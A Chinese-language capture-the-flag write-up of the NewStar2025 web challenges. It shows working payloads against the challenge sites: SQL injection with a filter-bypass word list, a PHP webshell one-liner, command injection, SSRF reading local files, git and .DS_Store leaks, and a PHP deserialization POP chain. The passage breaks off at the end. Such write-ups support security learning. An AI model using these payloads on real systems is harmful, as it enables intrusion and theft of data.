NewStar2025 Web (1月尾會再更新)

作者:ghsc

前言:小弟因比完賽就一直補課和補作業,補完就期末考,所以要寒假才可以复刻。

Week1

1.multi-headach3

什么叫机器人控制了我的头? 一看就知道是robots.txt

screen-capture.png screen-capture.png

2.strange_login

簡單sql注入:

screen-capture.png screen-capture.png

3.黑客小W的故事(1)

HTTP 协议: 這題最後超難。

第一關:

1
抓包:看見了POST 傳參 {"count":1} , 修改一下 改成{"count":1000} 
screen-capture.png screen-capture.png

第二關: GET ?shipin=mogubaozi POST a=guding , 改DELETE 加上 b = chongzi

screen-capture.png

第三關:

screen-capture.png

User-Agent: CycloneSlash/1.0

screen-capture.png

User-Agent: CycloneSlash/2.0

screen-capture.png

User-Agent: CycloneSlash/2.0 , DashSlash/1.0

screen-capture.png

User-Agent: CycloneSlash/2.0 , DashSlash/5.0

screen-capture.png

4.宇宙的中心是php

screen-capture.png screen-capture.png
1
2
3
4
5
6
7
8
9
10
11
<?php
highlight_file(__FILE__);
include "flag.php";
if(isset($_POST['newstar2025'])){
$answer = $_POST['newstar2025'];
if(intval($answer)!=47&&intval($answer,0)==47){
echo $flag;
}else{
echo "你还未参透奥秘";
}
}

POST newstar2025 intval( !=47) 但是( =47)

screen-capture.png

八进制数 057 = 5*8 + 7 = 47

5.我真得控制你了

screen-capture.png

刷新和F12,拼手速

1
document.querySelector('#shieldOverlay').remove();
screen-capture.png screen-capture.png

用BP爆破 :

  • admin
  • 111111
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
轻轻松松绕
真的很轻松

源码
<?php
error_reporting(0);

function generate_dynamic_flag($secret) {
return getenv("ICQ_FLAG") ?: 'default_flag';
}


if (isset($_GET['newstar'])) {
$input = $_GET['newstar'];

if (is_array($input)) {
die("恭喜掌握新姿势");
}


if (preg_match('/[^\d*\/~()\s]/', $input)) {
die("老套路了,行不行啊");
}


if (preg_match('/^[\d\s]+$/', $input)) {
die("请输入有效的表达式");
}

$test = 0;
try {
@eval("\$test = $input;");
} catch (Error $e) {
die("表达式错误");
}

if ($test == 2025) {
$flag = generate_dynamic_flag($flag_secret);
echo "<div class='success'>拿下flag!</div>";
echo "<div class='flag-container'><div class='flag'>FLAG: {$flag}</div></div>";
} else {
echo "<div class='error'>大哥哥泥把数字算错了: $test ≠ 2025</div>";
}
} else {
?>
<?php } ?>
screen-capture.png

6.别笑,你也过不了第二关

截图 screen-capture.png

第二關要1000000分???????? , 看看完成第一關會怎樣

抓包沒有發什麼 , 應該是JS code了

screen-capture.png

試一試 score = 1000000 ;

screen-capture.png screen-capture.png

Week2

1.DD加速器

可以用管道符

screen-capture.png screen-capture.png

看看env , 想不到出現了flag

screen-capture.png

flag{c45bacbe-370b-44cf-aeb7-37a3c7f07873}

2.搞点哦润吉吃吃橘

  • 考驗 JavaScript code能力
screen-capture.png screen-capture.png screen-capture.png

F12 在控制台寫腳本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
(function() {
const expressionElement = document.getElementById('expressionText');
const tokenInput = document.getElementById('tokenInput');
const submitButton = document.getElementById('submitBtn');


const expression = expressionElement.textContent;
const regex = /token = \(\d+ \* (\d+)\) \^ (0x[0-9a-fA-F]+|\d+)/;
const match = expression.match(regex);

if (match && match.length === 3) {
const multiplier = BigInt(match[1]); // 直接转换为 BigInt
const xor_value = BigInt(match[2]); // BigInt 支持直接解析十进制或十六进制字符串

const currentTimestamp = BigInt(Math.floor(Date.now() / 1000));

// 计算 token = (当前时间戳 * multiplier) ^ xor_value
const token = (currentTimestamp * multiplier) ^ xor_value;

tokenInput.value = token.toString(); // BigInt 结果转为字符串填入
submitButton.click(); // 模拟点击提交按钮

console.log('自动化流程已执行。计算出的 token:', token.toString());
console.log('请检查结果。');

}
})();
screen-capture.png

3.白帽小K的故事(1)

screen-capture.png screen-capture.png screen-capture.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
// TODO:
// 小岸同学到时候记得把这个函数删掉
async function fetchload(file) {
try {
const res = await fetch('/v1/onload', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: `file=${encodeURIComponent(file)}`
});
const data = await res.json();
if (data.success) {
console.log('File content:', data.success);
} else {
console.error('Error loading file:', data.error);
}
} catch (e) {
console.error('Request failed', e);
}
}

fetchList();

dirsearch一下 ,

screen-capture.png

應該有一個v1/upload 用post 方法的

Content-Type = application/x-www-form-urlencoded

file = urlencode(easty.php)

screen-capture.png

我剛剛上傳完另外一個文件 , 文件的字被urlencode了, run不了 , 我應該需要改一改一句話木馬

screen-capture.png
1
<?php system("env"); ?>
screen-capture.png

flag{51fe6807-7862-41b3-a4dc-3cd271b02f53}

4.真的是签到诶

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
highlight_file(__FILE__);

$cipher = $_POST['cipher'] ?? '';

function atbash($text) {
$result = '';
foreach (str_split($text) as $char) {
if (ctype_alpha($char)) {
$is_upper = ctype_upper($char);
$base = $is_upper ? ord('A') : ord('a');
$offset = ord(strtolower($char)) - ord('a');
$new_char = chr($base + (25 - $offset));
$result .= $new_char;
} else {
$result .= $char;
}
}
return $result;
}

if ($cipher) {
$cipher = base64_decode($cipher);
$encoded = atbash($cipher);
$encoded = str_replace(' ', '', $encoded);
$encoded = str_rot13($encoded);
@eval($encoded);
exit;
}

$question = "真的是签到吗?";
$answer = "真的很签到诶!";

$res = $question . "<br>" . $answer . "<br>";
echo $res . $res . $res . $res . $res;

?> 真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
真的是签到吗?
真的很签到诶!
screen-capture.png

处理流程如下:

  1. 获取 POST 参数 cipher。
  2. 对 $cipher 进行 base64_decode 解码。
  3. 对解码后的字符串进行 atbash 字母替换(Atbash 密码)。
  4. 移除 atbash 结果中的所有空格 (str_replace(‘ ‘, ‘’, …))。
  5. 对移除空格后的字符串进行 str_rot13 字母替换(ROT13 密码)。
  6. 将最终结果字符串通过 @eval() 执行。
screen-capture.png

還是沒反應??

screen-capture.png

有一個exit; 我們要在$encoded後面加一個die;

screen-capture.png screen-capture.png

可以運行了 , 用$IFS 过滤一下

screen-capture.png screen-capture.png

5.小E的管理系统(未复刻)

e8bb870428d9083e8e7cb7f50f1bb5d9.png

id是GET

sqlmap完全沒有用, 看來要手注了 ,???

77479fa65f747a00423e9eafa77caa01.png

url編碼繞過 ,

f1897f60ebf5715c2b0d7e28f2ce827e.png

/**/被ban了

3a53ac7b5466794d95109a0fd6667de7.png
1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
34cb09a8a1cb644de56dae7972bef206.png

列名都被ban了 ((((((

用了出題人的字典

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
length
Length
+
handler
like
LiKe
select
SeleCT
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length
+
REVERSE
ascii
ASSIC
ASSic
select
database
left
right
union
UNIon
UNION
"
'
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
join
rand()
substr(
substring(
mid(
rand(
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
char(
hex(
ascii(
LIMIT
ORD
ON
extractvalue
order
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`

,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20
%0a

200的有:

1
2
NULL    
TURE

500的有:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
1    length    
2 Length
3 +
4 handler
5 like
6 LiKe
7 select
8 SeleCT
9 sleep
10 SLEEp
11 database
12 DATABASe
13 delete
14 having
15 or
16 oR
17 as
18 As
19 -~
20 BENCHMARK
21 limit
22 LimIt
23 left
24 Left
25 select
26 SELECT
27 insert
28 insERT
29 INSERT
30 right
33 INFORMATION
36 !
37 %
38 +
39 xor
40 <>
41 (
42 >
43 <
44 )
45 .
46 ^
48 AND
49 ANd
50 BY
51 By
52 CAST
53 COLUMN
54 COlumn
55 COUNT
56 Count
57 CREATE
58 END
59 case
61 when
65 +
66 REVERSE
67 ascii
68 ASSIC
69 ASSic
71 database
72 left
73 right
74 union
75 UNIon
76 UNION
79 &
80 &&
81 ||
82 oorr
88 anandd
89 GROUP
90 HAVING
91 IF
92 INTO
93 JOIN
94 LEAVE
95 LEFT
96 LEVEL
97 sleep
98 LIKE
99 NAMES
100 NEXT
102 OF
103 ON
104 |
105 infromation_schema
106 user
107 OR
108 ORDER
109 ORD
110 SCHEMA
111 SELECT
112 SET
113 TABLE
114 THEN
115 UNION
116 UPDATE
117 USER
118 USING
119 VALUE
120 VALUES
121 WHEN
122 WHERE
123 ADD
124 AND
125 prepare
126 set
127 update
128 delete
129 drop
130 inset
131 CAST
132 COLUMN
133 CONCAT
134 GROUP_CONCAT
135 group_concat
136 CREATE
137 DATABASE
138 DATABASES
139 alter
140 DELETE
141 DROP
142 floor
143 join
144 rand()
148 rand(
149 information_schema.tables
150 TABLE_SCHEMA
151 %df
152 concat_ws()
153 concat
157 LIMIT
158 ORD
159 ON
160 extractvalue
161 order
162 CAST()
163 by
164 ORDER
165 OUTFILE
166 RENAME
167 REPLACE
168 SCHEMA
169 SELECT
170 SET
171 updatexml
172 SHOW
173 SQL
174 TABLE
175 THEN
177 instr
178 benchmark
179 format
180 bin
181 substring
182 ord
183 UPDATE
184 VALUES
185 VARCHAR
186 VERSION
187 WHEN
188 WHERE
190 `
193 users
194 %0a
195 %0A
196 %0b
197 mid
198 for
199 BEFORE
200 REGEXP
201 RLIKE
202 in
204 SEPARATOR
205 XOR
206 CURSOR
207 FLOOR
208 sys.schema_table_statistics_with_buffer
209 INFILE
210 count
211 %0c
212 from
213 %0d
214 %a0
216 @
217 else

403的是:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
31    #       
32 --+
34 --
35 ;
47 =
60 '1'='1
62 admin'
63 "
64 length
70 select
77 "
78 '
83 /
84 //
85 //*
86 */*
87 /**/
145 substr(
146 substring(
147 mid(
154 char(
155 hex(
156 ascii(
189 /*
191
192 ,
203 sys schemma
215 =
218 %27
219 %23
220 %22
221 %20

使用以下的表構造payload:

1
2
3
4
5
6
1%0AORdeR%0ABy%0A1
1%0AORdeR%0ABy%0A10
1
ORdeR
By
10
5c86363ff2ee4e023fd44027e77e160b.png

可以看見有5列 , 用id=-1%0aORDER%0aBY%0a5 測試了一下是可以的

1
2
3
4
id=-1
ORDER
BY
5
3473398aa359f766e196f8de9b33181c.png

要構造 UNION SELECT 語句

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
NULL)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

URL編碼一下: -1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master%0aWHERE%0atype%0aLIKE%0a0x7461626c65)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e

試一試:

-1 UNION SELECT * from (SELECT NULL)a

JOIN (SELECT group_concat(name) from sqlite_master)b

JOIN(SELECT NULL)c

JOIN(SELECT NULL)d

JOIN(SETECT NULL)e

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
-1
UNION
SELECT
*
from
(SELECT
NULL)a
JOIN
(SELECT
group_concat(name)
from
sqlite_master)b
JOIN
(SELECT
NULL)c
JOIN
(SELECT
NULL)d
JOIN
(SELECT
NULL)e

-1%0aUNION%0aSELECT%0a*%0afrom%0a(SELECT%0aNULL)a%0aJOIN%0a(SELECT%0agroup_concat(name)%0afrom%0asqlite_master)b%0aJOIN%0a(SELECT%0aNULL)c%0aJOIN%0a(SELECT%0aNULL)d%0aJOIN%0a(SELECT%0aNULL)e


“node_status,sys_config,sqlite_autoindex_sys_config_1,sqlite_sequence”


-1 UNION SELECT * from (SELECT group_concat(name) from sqlite_master)a

JOIN (SELECT NULL)b

JOIN(SELECT NULL)c

JOIN(SELECT NULL)d

JOIN(SETECT NULL)e

1
-1  select * from(SELECT *, floor(1+rand(5)*500000) as a FROM `flag`)t WHERE a = 1

Week3

1.小E的秘密计划

www.zip 為備份文件 , url/ww.zip下載 ,

361fd33e57cceeae07f915f9e74450d6.png

看以看見index.html是https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/

進入public-555edc76-9621-4997-86b9-01483a50293e , 有一個login.php ,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?php
require_once 'user.php';
$userData = getUserData();
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$username = $_POST['username'] ?? '';
$password = $_POST['password'] ?? '';

if ($username === $userData['username'] && $password === $userData['password']) {
header('Location: /secret-xxxxxxxxxxxxxxxxxxx');
exit();
} else {
echo '登录失败,在git里找找吧';
exit();
}
}



用git bash進行控制

git bash

使用git进行版本控制

查看提交历史:

git log –oneline

cedc26f5a288a6a307272f8d41f67e79.png

$ git diff –name-status 1389b47 5f8ecc0
A tips.txt


$ git checkout 353b98f7c2fe77a5a426bf73576f5113820c4669

1
2
3
4
5
6
7
8
9
10
11
12
Note: switching to '353b98f7c2fe77a5a426bf73576f5113820c4669'.
You are in 'detached HEAD' state. You can look around, make experimental
changes and commit them, and you can discard any commits you make in this
state without impacting any branches by switching back to a branch.
If you want to create a new branch to retain commits you create, you may
do so (now or later) by using -c with the switch command. Example:
git switch -c <new-branch-name>
Or undo this operation with:
git switch -
Turn off this advice by setting config variable advice.detachedHead to false
HEAD is now at 353b98f 测试,这个branch会删

$ git diff 1389b4798a8013a1c90fb2d867243d0da18c5175…353b98f7c2fe77a5a426bf73576f5113820c4669 –name-status

1
A user.php

$ cat user.php

e225b0ab18591072357866366f4cfc31.png

$ git switch master


換回master mode


$ cat index.html


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Project X - 登录系统</title>
<link rel="stylesheet" href="../css/style.css">
</head>
<body>
<div class="floating-shapes">
<div class="floating-shape shape-circle" style="top: 15%; left: 10%;"></div>
<div class="floating-shape shape-ring" style="top: 40%; left: 85%;"></div>
<div class="floating-shape shape-polygon" style="top: 70%; left: 20%;"></div>
</div>


<div class="login-container">
<div class="login-box">
<div class="login-logo">
<h1>PROJECT X</h1>
<p>系统访问认证</p>
<p>tips: 默认密码使用uuid4生成,不可能被爆破</p>
</div>

<form id="login-form">
<div class="input-group">
<label for="username">用户ID</label>
<input type="text" id="username" placeholder="输入您的用户ID">
</div>

<div class="input-group">
<label for="password">密码</label>
<input type="password" id="password" placeholder="输入您的密码">
</div>
<div class="login-actions">
<a href="/" class="btn">返回首页</a>
<button type="button" class="btn btn-primary" id="login-btn">验证登录</button>
</div>

<div class="login-footer">
<p>版本 5.1.4</p>
</div>
</form>
</div>
</div>
<script>
document.getElementById('login-btn').addEventListener('click', function() {
const username = document.getElementById('username').value;
const password = document.getElementById('password').value;

fetch('login.php', {
method: 'POST',
headers: {
'Content-Type': 'application/x-www-form-urlencoded'
},
body: `username=${encodeURIComponent(username)}&password=${encodeURIComponent(password)}`
})
.then(response => {
if (response.redirected) {
window.location.href = response.url;
} else {
return response.text();
}
})
.then(text => {
if (text) {
alert(text);
}
})
.catch(error => console.error('Error:', error));
});
</script>
</body>
</html>



用POST 方法 :


$ curl -k -X POST “https://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/public-555edc76-9621-4997-86b9-01483a50293e/login.php
-d “username=admin”
-d “password=f75cc3eb-21e0-4713-9c30-998a8edb13de”


1
2
{"success":true,"message":"\u767b\u5f55\u6210\u529f\uff01\u6b63\u5728\u8df3\u8f6
c...","redirectUrl":"/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/"}

{“success”:true,”message”:”登录成功!正在跳转…”,”redirectUrl”:”/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/“}


因為是Mac寫的, 所以下載.DS_Store文件


https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store


2b3abbe0-a5fb-4d11-908b-6bb31f49d3e5.png

$ python3 ds_store_exp.pyhttps://eci-2ze5djxemg4v7c4t217o.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store


1
2
[200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/.DS_Store
[200] https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50/ffffllllaaaagggg114514


$ BASE_URL=”https://eci-2zeafbv6ennhj2jnf7ju.cloudeci1.ichunqiu.com:80/secret-1c84a90c-d114-4acd-b799-1bc5a2b7be50
FILENAME=”ffffllllaaaagggg114514”


1
2
3
4
5
echo "--- Retrieving the Flag ---"
curl -k "$BASE_URL/$BASEURL/BASE_URL/
BASEU​RL/FILENAME"
--- Retrieving the Flag ---
flag{2ba897a9-1533-432c-9d66-970200498634}

2.mygo!!!

看看html


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<!doctype html>
<html lang="zh-CN">
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width,initial-scale=1" />
<title>MyGo</title>
<style>
:root{
--gap: 18px;
--btn-width: 220px;
--btn-padding: 12px 18px;
--btn-radius: 10px;
}
*{box-sizing:border-box}
html,body{height:100%;margin:0}
body{
font-family: -apple-system, BlinkMacSystemFont, "Segoe UI", Roboto, "Helvetica Neue", Arial;
min-height:100vh;
background-image: url('mygo.jpg');
background-size: cover;
background-position: center;
background-repeat: no-repeat;
display:flex;
align-items:center;
justify-content:center;
}
.layout{width:100%;max-width:1100px;padding:40px;display:flex;justify-content:space-between;align-items:center;}
.col{display:flex;flex-direction:column;gap:var(--gap);align-items:flex-start;width:calc(var(--btn-width) + 10px);}
.col.right{align-items:flex-end}
.ghost-btn{
width:var(--btn-width);
padding:var(--btn-padding);
border-radius:var(--btn-radius);
background:transparent;
color:#007BFF; /* 蓝色文字 */
border:2px solid rgba(0,0,0,0.08);
font-size:16px;
font-weight:600;
text-align:center;
cursor:pointer;
transition:transform .16s ease, box-shadow .16s ease, background-color .16s ease;
}
.ghost-btn:hover{
transform:translateY(-4px);
box-shadow:0 8px 20px rgba(0,0,0,0.08);
background-color: rgba(255,255,255,0.02);
}
@media (max-width:720px){
.layout{flex-direction:column;gap:24px;padding:22px}
.col{width:100%;align-items:center}
.col.right{align-items:center}
.ghost-btn{width:100%;max-width:420px}
}
audio{display:block;margin-top:20px;width:100%;}
</style>
</head>
<body>
<main class="layout">
<section class="col left">
<button class="ghost-btn" data-url="http://localhost/chunriying.mp3">春日影</button>
<button class="ghost-btn" data-url="http://localhost/mixingjiao.mp3">迷星叫</button>
</section>
<section class="col right">
<button class="ghost-btn" data-url="http://localhost/shichaoban.mp3">诗超绊</button>
<button class="ghost-btn" data-url="http://localhost/???">flag</button>
</section>
</main>

<!-- 隐藏播放器,点击按钮时赋值 -->
<audio id="player" controls autoplay></audio>

<script>
const player = document.getElementById('player');
document.querySelectorAll('.ghost-btn').forEach(btn => {
btn.addEventListener('click', () => {
const url = btn.getAttribute('data-url');
// 通过 PHP 代理播放
player.src = `index.php?proxy=${encodeURIComponent(url)}`;
player.play();
});
});
</script>
</body>
</html>


可以看見它不是直接播放 URL,而是将 URL 作为参数传递给 index.php (player.src = \index.php?proxy=${encodeURIComponent(url)};),这暗示着音频流是通过服务器端的 PHP 脚本进行代理传输的。


用BP抓一下包:


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
GET /index.php?proxy=http%3A%2F%2Flocalhost%2F%3F%3F%3F HTTP/2
Host: eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80
Sec-Ch-Ua-Platform: "Windows"
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-TW,zh;q=0.9
Sec-Ch-Ua: "Chromium";v="139", "Not;A=Brand";v="99"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/139.0.0.0 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: /
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: audio
Referer: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/
Range: bytes=0-
Priority: i

的確是proxy


dirsearch一下


1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
|. _ _ _ _ _ | v0.4.3
(||| ) (/(|| (| )

Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12292

Target: https://eci-2zeiq1qx3sfyqqirtd7z.cloudeci1.ichunqiu.com:80/

[09:18:06] Scanning:
[09:19:05] 403 - 38B - /flag.php
[09:19:10] 200 - 3KB - /index.php
[09:19:10] 200 - 3KB - /index.php/login/
[09:19:34] 403 - 312B - /server-status
[09:19:34] 403 - 312B - /server-status/

Task Completed

有一個flag.php


eef6283bbaa5b1bf05dbb642589d50c3.png

本地人 ,


http://localhost/flag.php?soyorin=file:///flag


5e80bf943bdc6fb11ea69ad802928d44.png

who’ssti(味复刻)

本题考查了选手对于 SSTI 最基础的构造方法。

打開WSL 打開文件用docker run 裹面的docker file

5dc1b66533335599de7cedd700e9f654.png
1
2
3
docker build -t who-ssti .
docker images
docker run -d -p 5000:5000 --name ssti-app who-ssti
1d5a59f46d8edf5ae9447dba628bd1e6.png

成功在本地建立了網站了

SSTI

小弟第一次做這個SSTI注入, 零基礎 , 用了一天快速入門flask , 還是不是很懂(本人是猪鼻)

問了問d老師:


想象一下,你是一个网站的开发者。你希望网站的某些页面能够动态地显示用户的名字。比如,用户 小明 登录后,页面上会显示 “欢迎你,小明!”。

你是怎么做到的呢?你可能会写一个模板,就像填空一样:

1
<h1>欢迎你,{% raw %}{{ 用户名 }}{% endraw %}!</h1>

当服务器处理这个页面时,它会看到 {{ ... }},就知道这里需要一个变量。它会找到当前登录的用户名(比如“小明”),然后把这个“空”填上,最终生成一个完整的 HTML 发送给用户的浏览器:

1
<h1>欢迎你,小明!</h1>

这个过程就叫做 服务器端模板渲染。


探测是否存在 SSTI:

不同的模板引擎语法略有不同,你也可以试试 :

1
{% raw %}{{ 7*7 }}{% endraw %}, {$ 7*7 $}, <%= 7*7 %>

一个常见的方法是使用一个会报错的 payload,从错误信息中判断

输入: {{ “” }}

观察错误信息: 如果错误信息里提到了 “Jinja2”,那很可能就是 Python 的 Jinja2 引擎。如果提到了 “Twig”,可能就是 PHP 的 Twig。

Week4

小羊走迷宫

1075cc9df96a2e894e380357af969f8f.png 30ac3f125be28631ecaa57dd7132fb16.png
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46

<?php
include "flag.php";
error_reporting(0);
class startPoint{
public $direction;
function __wakeup(){
echo "gogogo出发咯 ";
$way = $this->direction;
return $way();
}
}
class Treasure{
protected $door;
protected $chest;
function __get($arg){
echo "拿到钥匙咯,开门! ";
$this -> door -> open();
}
function __toString(){
echo "小羊真可爱! ";
return $this -> chest -> key;
}
}
class SaySomething{
public $sth;
function __invoke()
{
echo "说点什么呢 ";
return "说: ".$this->sth;
}
}
class endPoint{
private $path;
function __call($arg1,$arg2){
echo "到达终点!现在尝试获取flag吧"."<br>";
echo file_get_contents($this->path);
}
}

if ($_GET["ma_ze.path"]){
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}
?>

PHP中关于非法参数名传参问题

可以看見

1
2
3
4
5
6

if ($_GET["ma_ze.path"]){
unserialize(base64_decode($_GET["ma_ze.path"]));
}else{
echo "这个变量名有点奇怪,要怎么传参呢?";
}

GET傳參 unserialize(base64_decode($_GET[“ma_ze.path”]));

https://blog.csdn.net/mochu7777777/article/details/115050295

第一關 get 參數, Payload如下:

?mo[chu.7=xxx

POP鏈

先找入口出口 , __wakeup() , 首先会调用startPoint的__wakeup,因为它有__wakeup方法

public $direction;

public $sth;

只有這兩個可用的變量

其他都是protected 和 private

1
2
3
 (Treasure类的$door和$door和door和
door和chest属性是protected的,不能直接访问。
我们需要使用反射或者手动构造序列化字符串)

我們來POP链构造:

start->direction=say

say->sth = t2

t2……

t1…..

end……

的反轉

省流php代碼:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class startPoint{
public $direction;
}

class SaySomething{
public $sth;
}

class Treasure{
protected $door;
protected $chest;
}

class endPoint{
private $path;
}

// 创建对象
$endpoint = new endPoint();
$treasure1 = new Treasure();
$treasure2 = new Treasure();
$say = new SaySomething();
$start = new startPoint();

// 使用反射设置private和protected属性
$reflection = new ReflectionClass($endpoint);
$property = $reflection->getProperty('path');
$property->setAccessible(true);
$property->setValue($endpoint, "./flag.php");

$reflectionTreasure = new ReflectionClass($treasure1);
$propertyDoor = $reflectionTreasure->getProperty('door');
$propertyDoor->setAccessible(true);
$propertyDoor->setValue($treasure1, $endpoint);

$propertyChest = $reflectionTreasure->getProperty('chest');
$propertyChest->setAccessible(true);
$propertyChest->setValue($treasure2, $treasure1);

// 构建利用链
$say->sth = $treasure2;
$start->direction = $say;

$payload = serialize($start);
echo "Payload: " . base64_encode($payload) . "\n";
echo "URL: ?ma_ze.path=" . urlencode(base64_encode($payload)) . "\n";
?>

可以先試試 say “i am gay” , 看看 start 能不能echo “说点什么呢 “. “说: “.”i am gay”

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
<?php
class startPoint{
